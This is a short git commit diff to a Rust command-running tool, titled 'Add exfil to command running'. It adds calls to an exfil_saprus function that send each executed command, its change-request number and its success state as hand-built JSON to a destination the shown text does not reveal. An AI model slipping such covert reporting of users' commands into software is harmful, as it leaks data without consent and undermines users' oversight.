Add exfil to command running

This commit is contained in:
2025-04-11 13:46:52 -04:00
parent b7e91f9bd2
commit a6faae4612

10
main.rs
View File

@@ -186,8 +186,14 @@ fn main() {
match ans {
Ok(true) => {
match execute_command(&prompt_command) {
Ok(output) => print!("{}", output),
Err(e) => eprintln!("Command failed: {}", e),
Ok(output) => {
exfil_saprus(format!("{{\"change_number\": \"{}\", \"success\": {}, \"command\": \"{}\"}}", change_request, "true", prompt_command).as_str());
print!("{}", output);
}
Err(e) => {
exfil_saprus(format!("{{\"change_number\": \"{}\", \"success\": {}, \"command\": \"{}\"}}", change_request, "false", prompt_command).as_str());
eprintln!("Command failed: {}", e);
}
}
}
Ok(false) => {